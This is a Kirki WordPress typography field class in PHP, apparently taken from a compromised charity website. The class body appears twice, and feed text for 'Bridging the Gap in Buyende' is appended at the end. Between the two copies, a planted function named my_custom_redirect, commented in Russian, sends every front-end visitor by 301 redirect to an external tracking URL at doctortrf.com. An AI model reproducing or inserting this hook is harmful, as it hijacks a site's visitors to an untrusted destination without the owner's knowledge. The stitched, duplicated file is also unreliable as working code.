self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } Bridging the Gap in Buyende https://aimecu.org/ Bridging the Gap in Buyende - dedicated to providing essential support and resources to vulnerable children and elderly people in Uganda Sat, 15 Feb 2025 00:10:25 +0000 en-US hourly 1 